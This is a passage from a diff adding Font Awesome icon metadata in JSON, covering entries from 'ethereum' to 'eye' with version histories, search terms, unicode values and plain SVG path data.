.5 11.7 0 24.1H230.2c-.2 109.7 38.9 194.9 138.6 195.3 68.5-.3 118-51 151.9-106.1l96.4 48.2c-17.4 30.9-36.5 57.8-57.9 80.8H640v-405z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M87.2 53.5H0v405h100.4c-49.7-52.6-78.8-125.3-78.7-212.1-.1-76.7 24-142.7 65.5-192.9zm238.2 9.7c-45.9.1-85.1 33.5-89.2 83.2h169.9c-1.1-49.7-34.5-83.1-80.7-83.2zm230.7-9.6h.3l-.1-.1zm.3 0c31.4 42.7 48.7 97.5 46.2 162.7.5 6 .5 11.7 0 24.1H230.2c-.2 109.7 38.9 194.9 138.6 195.3 68.5-.3 118-51 151.9-106.1l96.4 48.2c-17.4 30.9-36.5 57.8-57.9 80.8H640v-405z" + } + }, + "free": [ + "brands" + ] + }, + "ethereum": { + "changes": [ + "5.0.2" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f42e", + "label": "Ethereum", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440860984, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M311.9 260.8L160 353.6 8 260.8 160 0l151.9 260.8zM160 383.4L8 290.6 160 512l152-221.4-152 92.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M311.9 260.8L160 353.6 8 260.8 160 0l151.9 260.8zM160 383.4L8 290.6 160 512l152-221.4-152 92.8z" + } + }, + "free": [ + "brands" + ] + }, + "ethernet": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cable", + "cat 5", + "cat 6", + "connection", + "hardware", + "internet", + "network", + "wired" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f796", + "label": "Ethernet", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635463, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M496 192h-48v-48c0-8.8-7.2-16-16-16h-48V80c0-8.8-7.2-16-16-16H144c-8.8 0-16 7.2-16 16v48H80c-8.8 0-16 7.2-16 16v48H16c-8.8 0-16 7.2-16 16v224c0 8.8 7.2 16 16 16h80V320h32v128h64V320h32v128h64V320h32v128h64V320h32v128h80c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M496 192h-48v-48c0-8.8-7.2-16-16-16h-48V80c0-8.8-7.2-16-16-16H144c-8.8 0-16 7.2-16 16v48H80c-8.8 0-16 7.2-16 16v48H16c-8.8 0-16 7.2-16 16v224c0 8.8 7.2 16 16 16h80V320h32v128h64V320h32v128h64V320h32v128h64V320h32v128h80c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "etsy": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2d7", + "label": "Etsy", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860984, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 348c-1.75 10.75-13.75 110-15.5 132-117.879-4.299-219.895-4.743-368.5 0v-25.5c45.457-8.948 60.627-8.019 61-35.25 1.793-72.322 3.524-244.143 0-322-1.029-28.46-12.13-26.765-61-36v-25.5c73.886 2.358 255.933 8.551 362.999-3.75-3.5 38.25-7.75 126.5-7.75 126.5H332C320.947 115.665 313.241 68 277.25 68h-137c-10.25 0-10.75 3.5-10.75 9.75V241.5c58 .5 88.5-2.5 88.5-2.5 29.77-.951 27.56-8.502 40.75-65.251h25.75c-4.407 101.351-3.91 61.829-1.75 160.25H257c-9.155-40.086-9.065-61.045-39.501-61.5 0 0-21.5-2-88-2v139c0 26 14.25 38.25 44.25 38.25H263c63.636 0 66.564-24.996 98.751-99.75H384z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M384 348c-1.75 10.75-13.75 110-15.5 132-117.879-4.299-219.895-4.743-368.5 0v-25.5c45.457-8.948 60.627-8.019 61-35.25 1.793-72.322 3.524-244.143 0-322-1.029-28.46-12.13-26.765-61-36v-25.5c73.886 2.358 255.933 8.551 362.999-3.75-3.5 38.25-7.75 126.5-7.75 126.5H332C320.947 115.665 313.241 68 277.25 68h-137c-10.25 0-10.75 3.5-10.75 9.75V241.5c58 .5 88.5-2.5 88.5-2.5 29.77-.951 27.56-8.502 40.75-65.251h25.75c-4.407 101.351-3.91 61.829-1.75 160.25H257c-9.155-40.086-9.065-61.045-39.501-61.5 0 0-21.5-2-88-2v139c0 26 14.25 38.25 44.25 38.25H263c63.636 0 66.564-24.996 98.751-99.75H384z" + } + }, + "free": [ + "brands" + ] + }, + "euro-sign": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "currency", + "dollar", + "exchange", + "money" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f153", + "label": "Euro Sign", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635463, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M310.706 413.765c-1.314-6.63-7.835-10.872-14.424-9.369-10.692 2.439-27.422 5.413-45.426 5.413-56.763 0-101.929-34.79-121.461-85.449h113.689a12 12 0 0 0 11.708-9.369l6.373-28.36c1.686-7.502-4.019-14.631-11.708-14.631H115.22c-1.21-14.328-1.414-28.287.137-42.245H261.95a12 12 0 0 0 11.723-9.434l6.512-29.755c1.638-7.484-4.061-14.566-11.723-14.566H130.184c20.633-44.991 62.69-75.03 117.619-75.03 14.486 0 28.564 2.25 37.851 4.145 6.216 1.268 12.347-2.498 14.002-8.623l11.991-44.368c1.822-6.741-2.465-13.616-9.326-14.917C290.217 34.912 270.71 32 249.635 32 152.451 32 74.03 92.252 45.075 176H12c-6.627 0-12 5.373-12 12v29.755c0 6.627 5.373 12 12 12h21.569c-1.009 13.607-1.181 29.287-.181 42.245H12c-6.627 0-12 5.373-12 12v28.36c0 6.627 5.373 12 12 12h30.114C67.139 414.692 145.264 480 249.635 480c26.301 0 48.562-4.544 61.101-7.788 6.167-1.595 10.027-7.708 8.788-13.957l-8.818-44.49z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M310.706 413.765c-1.314-6.63-7.835-10.872-14.424-9.369-10.692 2.439-27.422 5.413-45.426 5.413-56.763 0-101.929-34.79-121.461-85.449h113.689a12 12 0 0 0 11.708-9.369l6.373-28.36c1.686-7.502-4.019-14.631-11.708-14.631H115.22c-1.21-14.328-1.414-28.287.137-42.245H261.95a12 12 0 0 0 11.723-9.434l6.512-29.755c1.638-7.484-4.061-14.566-11.723-14.566H130.184c20.633-44.991 62.69-75.03 117.619-75.03 14.486 0 28.564 2.25 37.851 4.145 6.216 1.268 12.347-2.498 14.002-8.623l11.991-44.368c1.822-6.741-2.465-13.616-9.326-14.917C290.217 34.912 270.71 32 249.635 32 152.451 32 74.03 92.252 45.075 176H12c-6.627 0-12 5.373-12 12v29.755c0 6.627 5.373 12 12 12h21.569c-1.009 13.607-1.181 29.287-.181 42.245H12c-6.627 0-12 5.373-12 12v28.36c0 6.627 5.373 12 12 12h30.114C67.139 414.692 145.264 480 249.635 480c26.301 0 48.562-4.544 61.101-7.788 6.167-1.595 10.027-7.708 8.788-13.957l-8.818-44.49z" + } + }, + "free": [ + "solid" + ] + }, + "evernote": { + "changes": [ + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f839", + "label": "Evernote", + "svg": { + "brands": { + "last_modified": 1558987775896, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M120.82 132.21c1.6 22.31-17.55 21.59-21.61 21.59-68.93 0-73.64-1-83.58 3.34-.56.22-.74 0-.37-.37L123.79 46.45c.38-.37.6-.22.38.37-4.35 9.99-3.35 15.09-3.35 85.39zm79 308c-14.68-37.08 13-76.93 52.52-76.62 17.49 0 22.6 23.21 7.95 31.42-6.19 3.3-24.95 1.74-25.14 19.2-.05 17.09 19.67 25 31.2 24.89A45.64 45.64 0 0 0 312 393.45v-.08c0-11.63-7.79-47.22-47.54-55.34-7.72-1.54-65-6.35-68.35-50.52-3.74 16.93-17.4 63.49-43.11 69.09-8.74 1.94-69.68 7.64-112.92-36.77 0 0-18.57-15.23-28.23-57.95-3.38-15.75-9.28-39.7-11.14-62 0-18 11.14-30.45 25.07-32.2 81 0 90 2.32 101-7.8 9.82-9.24 7.8-15.5 7.8-102.78 1-8.3 7.79-30.81 53.41-24.14 6 .86 31.91 4.18 37.48 30.64l64.26 11.15c20.43 3.71 70.94 7 80.6 57.94 22.66 121.09 8.91 238.46 7.8 238.46C362.15 485.53 267.06 480 267.06 480c-18.95-.23-54.25-9.4-67.27-39.83zm80.94-204.84c-1 1.92-2.2 6 .85 7 14.09 4.93 39.75 6.84 45.88 5.53 3.11-.25 3.05-4.43 2.48-6.65-3.53-21.85-40.83-26.5-49.24-5.92z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M120.82 132.21c1.6 22.31-17.55 21.59-21.61 21.59-68.93 0-73.64-1-83.58 3.34-.56.22-.74 0-.37-.37L123.79 46.45c.38-.37.6-.22.38.37-4.35 9.99-3.35 15.09-3.35 85.39zm79 308c-14.68-37.08 13-76.93 52.52-76.62 17.49 0 22.6 23.21 7.95 31.42-6.19 3.3-24.95 1.74-25.14 19.2-.05 17.09 19.67 25 31.2 24.89A45.64 45.64 0 0 0 312 393.45v-.08c0-11.63-7.79-47.22-47.54-55.34-7.72-1.54-65-6.35-68.35-50.52-3.74 16.93-17.4 63.49-43.11 69.09-8.74 1.94-69.68 7.64-112.92-36.77 0 0-18.57-15.23-28.23-57.95-3.38-15.75-9.28-39.7-11.14-62 0-18 11.14-30.45 25.07-32.2 81 0 90 2.32 101-7.8 9.82-9.24 7.8-15.5 7.8-102.78 1-8.3 7.79-30.81 53.41-24.14 6 .86 31.91 4.18 37.48 30.64l64.26 11.15c20.43 3.71 70.94 7 80.6 57.94 22.66 121.09 8.91 238.46 7.8 238.46C362.15 485.53 267.06 480 267.06 480c-18.95-.23-54.25-9.4-67.27-39.83zm80.94-204.84c-1 1.92-2.2 6 .85 7 14.09 4.93 39.75 6.84 45.88 5.53 3.11-.25 3.05-4.43 2.48-6.65-3.53-21.85-40.83-26.5-49.24-5.92z" + } + }, + "free": [ + "brands" + ] + }, + "exchange-alt": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "arrows", + "exchange", + "reciprocate", + "return", + "swap", + "transfer" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f362", + "label": "Alternate Exchange", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635463, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 168v-16c0-13.255 10.745-24 24-24h360V80c0-21.367 25.899-32.042 40.971-16.971l80 80c9.372 9.373 9.372 24.569 0 33.941l-80 80C409.956 271.982 384 261.456 384 240v-48H24c-13.255 0-24-10.745-24-24zm488 152H128v-48c0-21.314-25.862-32.08-40.971-16.971l-80 80c-9.372 9.373-9.372 24.569 0 33.941l80 80C102.057 463.997 128 453.437 128 432v-48h360c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M0 168v-16c0-13.255 10.745-24 24-24h360V80c0-21.367 25.899-32.042 40.971-16.971l80 80c9.372 9.373 9.372 24.569 0 33.941l-80 80C409.956 271.982 384 261.456 384 240v-48H24c-13.255 0-24-10.745-24-24zm488 152H128v-48c0-21.314-25.862-32.08-40.971-16.971l-80 80c-9.372 9.373-9.372 24.569 0 33.941l80 80C102.057 463.997 128 453.437 128 432v-48h360c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24z" + } + }, + "free": [ + "solid" + ] + }, + "exclamation": { + "changes": [ + "3.1", + "5.0.0", + "5.10.1", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "alert", + "danger", + "error", + "important", + "notice", + "notification", + "notify", + "problem", + "warning" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f12a", + "label": "exclamation", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635464, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 192 512\"><path d=\"M176 432c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80zM25.26 25.199l13.6 272C39.499 309.972 50.041 320 62.83 320h66.34c12.789 0 23.331-10.028 23.97-22.801l13.6-272C167.425 11.49 156.496 0 142.77 0H49.23C35.504 0 24.575 11.49 25.26 25.199z\"/></svg>", + "viewBox": [ + "0", + "0", + "192", + "512" + ], + "width": 192, + "height": 512, + "path": "M176 432c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80zM25.26 25.199l13.6 272C39.499 309.972 50.041 320 62.83 320h66.34c12.789 0 23.331-10.028 23.97-22.801l13.6-272C167.425 11.49 156.496 0 142.77 0H49.23C35.504 0 24.575 11.49 25.26 25.199z" + } + }, + "free": [ + "solid" + ] + }, + "exclamation-circle": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "alert", + "danger", + "error", + "important", + "notice", + "notification", + "notify", + "problem", + "warning" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f06a", + "label": "Exclamation Circle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635464, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zm-248 50c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zm-248 50c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z" + } + }, + "free": [ + "solid" + ] + }, + "exclamation-triangle": { + "changes": [ + "1", + "5.0.0", + "5.6.1" + ], + "ligatures": [], + "search": { + "terms": [ + "alert", + "danger", + "error", + "important", + "notice", + "notification", + "notify", + "problem", + "warning" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f071", + "label": "Exclamation Triangle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635464, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M569.517 440.013C587.975 472.007 564.806 512 527.94 512H48.054c-36.937 0-59.999-40.055-41.577-71.987L246.423 23.985c18.467-32.009 64.72-31.951 83.154 0l239.94 416.028zM288 354c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M569.517 440.013C587.975 472.007 564.806 512 527.94 512H48.054c-36.937 0-59.999-40.055-41.577-71.987L246.423 23.985c18.467-32.009 64.72-31.951 83.154 0l239.94 416.028zM288 354c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z" + } + }, + "free": [ + "solid" + ] + }, + "expand": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bigger", + "enlarge", + "fullscreen", + "resize" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f065", + "label": "Expand", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635466, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 180V56c0-13.3 10.7-24 24-24h124c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H64v84c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12zM288 44v40c0 6.6 5.4 12 12 12h84v84c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12V56c0-13.3-10.7-24-24-24H300c-6.6 0-12 5.4-12 12zm148 276h-40c-6.6 0-12 5.4-12 12v84h-84c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h124c13.3 0 24-10.7 24-24V332c0-6.6-5.4-12-12-12zM160 468v-40c0-6.6-5.4-12-12-12H64v-84c0-6.6-5.4-12-12-12H12c-6.6 0-12 5.4-12 12v124c0 13.3 10.7 24 24 24h124c6.6 0 12-5.4 12-12z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 180V56c0-13.3 10.7-24 24-24h124c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H64v84c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12zM288 44v40c0 6.6 5.4 12 12 12h84v84c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12V56c0-13.3-10.7-24-24-24H300c-6.6 0-12 5.4-12 12zm148 276h-40c-6.6 0-12 5.4-12 12v84h-84c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h124c13.3 0 24-10.7 24-24V332c0-6.6-5.4-12-12-12zM160 468v-40c0-6.6-5.4-12-12-12H64v-84c0-6.6-5.4-12-12-12H12c-6.6 0-12 5.4-12 12v124c0 13.3 10.7 24 24 24h124c6.6 0 12-5.4 12-12z" + } + }, + "free": [ + "solid" + ] + }, + "expand-alt": { + "changes": [ + "1", + "5.0.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrows", + "bigger", + "enlarge", + "fullscreen", + "resize" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f424", + "label": "Alternate Expand", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635464, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M212.686 315.314L120 408l32.922 31.029c15.12 15.12 4.412 40.971-16.97 40.971h-112C10.697 480 0 469.255 0 456V344c0-21.382 25.803-32.09 40.922-16.971L72 360l92.686-92.686c6.248-6.248 16.379-6.248 22.627 0l25.373 25.373c6.249 6.248 6.249 16.378 0 22.627zm22.628-118.628L328 104l-32.922-31.029C279.958 57.851 290.666 32 312.048 32h112C437.303 32 448 42.745 448 56v112c0 21.382-25.803 32.09-40.922 16.971L376 152l-92.686 92.686c-6.248 6.248-16.379 6.248-22.627 0l-25.373-25.373c-6.249-6.248-6.249-16.378 0-22.627z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M212.686 315.314L120 408l32.922 31.029c15.12 15.12 4.412 40.971-16.97 40.971h-112C10.697 480 0 469.255 0 456V344c0-21.382 25.803-32.09 40.922-16.971L72 360l92.686-92.686c6.248-6.248 16.379-6.248 22.627 0l25.373 25.373c6.249 6.248 6.249 16.378 0 22.627zm22.628-118.628L328 104l-32.922-31.029C279.958 57.851 290.666 32 312.048 32h112C437.303 32 448 42.745 448 56v112c0 21.382-25.803 32.09-40.922 16.971L376 152l-92.686 92.686c-6.248 6.248-16.379 6.248-22.627 0l-25.373-25.373c-6.249-6.248-6.249-16.378 0-22.627z" + } + }, + "free": [ + "solid" + ] + }, + "expand-arrows-alt": { + "changes": [ + "5.0.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bigger", + "enlarge", + "fullscreen", + "move", + "resize" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f31e", + "label": "Alternate Expand Arrows", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635465, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 344v112a23.94 23.94 0 0 1-24 24H312c-21.39 0-32.09-25.9-17-41l36.2-36.2L224 295.6 116.77 402.9 153 439c15.09 15.1 4.39 41-17 41H24a23.94 23.94 0 0 1-24-24V344c0-21.4 25.89-32.1 41-17l36.19 36.2L184.46 256 77.18 148.7 41 185c-15.1 15.1-41 4.4-41-17V56a23.94 23.94 0 0 1 24-24h112c21.39 0 32.09 25.9 17 41l-36.2 36.2L224 216.4l107.23-107.3L295 73c-15.09-15.1-4.39-41 17-41h112a23.94 23.94 0 0 1 24 24v112c0 21.4-25.89 32.1-41 17l-36.19-36.2L263.54 256l107.28 107.3L407 327.1c15.1-15.2 41-4.5 41 16.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 344v112a23.94 23.94 0 0 1-24 24H312c-21.39 0-32.09-25.9-17-41l36.2-36.2L224 295.6 116.77 402.9 153 439c15.09 15.1 4.39 41-17 41H24a23.94 23.94 0 0 1-24-24V344c0-21.4 25.89-32.1 41-17l36.19 36.2L184.46 256 77.18 148.7 41 185c-15.1 15.1-41 4.4-41-17V56a23.94 23.94 0 0 1 24-24h112c21.39 0 32.09 25.9 17 41l-36.2 36.2L224 216.4l107.23-107.3L295 73c-15.09-15.1-4.39-41 17-41h112a23.94 23.94 0 0 1 24 24v112c0 21.4-25.89 32.1-41 17l-36.19-36.2L263.54 256l107.28 107.3L407 327.1c15.1-15.2 41-4.5 41 16.9z" + } + }, + "free": [ + "solid" + ] + }, + "expeditedssl": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f23e", + "label": "ExpeditedSSL", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860984, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 43.4C130.6 43.4 35.4 138.6 35.4 256S130.6 468.6 248 468.6 460.6 373.4 460.6 256 365.4 43.4 248 43.4zm-97.4 132.9c0-53.7 43.7-97.4 97.4-97.4s97.4 43.7 97.4 97.4v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6c0-82.1-124-82.1-124 0v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6zM389.7 380c0 9.7-8 17.7-17.7 17.7H124c-9.7 0-17.7-8-17.7-17.7V238.3c0-9.7 8-17.7 17.7-17.7h248c9.7 0 17.7 8 17.7 17.7V380zm-248-137.3v132.9c0 2.5-1.9 4.4-4.4 4.4h-8.9c-2.5 0-4.4-1.9-4.4-4.4V242.7c0-2.5 1.9-4.4 4.4-4.4h8.9c2.5 0 4.4 1.9 4.4 4.4zm141.7 48.7c0 13-7.2 24.4-17.7 30.4v31.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-31.6c-10.5-6.1-17.7-17.4-17.7-30.4 0-19.7 15.8-35.4 35.4-35.4s35.5 15.8 35.5 35.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 478.3C121 486.3 17.7 383 17.7 256S121 25.7 248 25.7 478.3 129 478.3 256 375 486.3 248 486.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 43.4C130.6 43.4 35.4 138.6 35.4 256S130.6 468.6 248 468.6 460.6 373.4 460.6 256 365.4 43.4 248 43.4zm-97.4 132.9c0-53.7 43.7-97.4 97.4-97.4s97.4 43.7 97.4 97.4v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6c0-82.1-124-82.1-124 0v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6zM389.7 380c0 9.7-8 17.7-17.7 17.7H124c-9.7 0-17.7-8-17.7-17.7V238.3c0-9.7 8-17.7 17.7-17.7h248c9.7 0 17.7 8 17.7 17.7V380zm-248-137.3v132.9c0 2.5-1.9 4.4-4.4 4.4h-8.9c-2.5 0-4.4-1.9-4.4-4.4V242.7c0-2.5 1.9-4.4 4.4-4.4h8.9c2.5 0 4.4 1.9 4.4 4.4zm141.7 48.7c0 13-7.2 24.4-17.7 30.4v31.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-31.6c-10.5-6.1-17.7-17.4-17.7-30.4 0-19.7 15.8-35.4 35.4-35.4s35.5 15.8 35.5 35.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 478.3C121 486.3 17.7 383 17.7 256S121 25.7 248 25.7 478.3 129 478.3 256 375 486.3 248 486.3z" + } + }, + "free": [ + "brands" + ] + }, + "external-link-alt": { + "changes": [ + "5.0.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "external-link", + "new", + "open", + "share" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f35d", + "label": "Alternate External Link", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635466, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M432,320H400a16,16,0,0,0-16,16V448H64V128H208a16,16,0,0,0,16-16V80a16,16,0,0,0-16-16H48A48,48,0,0,0,0,112V464a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V336A16,16,0,0,0,432,320ZM488,0h-128c-21.37,0-32.05,25.91-17,41l35.73,35.73L135,320.37a24,24,0,0,0,0,34L157.67,377a24,24,0,0,0,34,0L435.28,133.32,471,169c15,15,41,4.5,41-17V24A24,24,0,0,0,488,0Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M432,320H400a16,16,0,0,0-16,16V448H64V128H208a16,16,0,0,0,16-16V80a16,16,0,0,0-16-16H48A48,48,0,0,0,0,112V464a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V336A16,16,0,0,0,432,320ZM488,0h-128c-21.37,0-32.05,25.91-17,41l35.73,35.73L135,320.37a24,24,0,0,0,0,34L157.67,377a24,24,0,0,0,34,0L435.28,133.32,471,169c15,15,41,4.5,41-17V24A24,24,0,0,0,488,0Z" + } + }, + "free": [ + "solid" + ] + }, + "external-link-square-alt": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "external-link-square", + "new", + "open", + "share" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f360", + "label": "Alternate External Link Square", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635466, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zm-88 16H248.029c-21.313 0-32.08 25.861-16.971 40.971l31.984 31.987L67.515 364.485c-4.686 4.686-4.686 12.284 0 16.971l31.029 31.029c4.687 4.686 12.285 4.686 16.971 0l195.526-195.526 31.988 31.991C358.058 263.977 384 253.425 384 231.979V120c0-13.255-10.745-24-24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zm-88 16H248.029c-21.313 0-32.08 25.861-16.971 40.971l31.984 31.987L67.515 364.485c-4.686 4.686-4.686 12.284 0 16.971l31.029 31.029c4.687 4.686 12.285 4.686 16.971 0l195.526-195.526 31.988 31.991C358.058 263.977 384 253.425 384 231.979V120c0-13.255-10.745-24-24-24z" + } + }, + "free": [ + "solid" + ] + }, + "eye": { + "changes": [ + "1", + "5.0.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "look", + "optic", + "see", + "seen", + "show", + "sight", + "views", + "visible" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f06e", + "label": "Eye", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635468, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M572.52 241.4C518.29 135.59 410.93 64 288 64S57.68 135.64 3.48 241.41a32.35 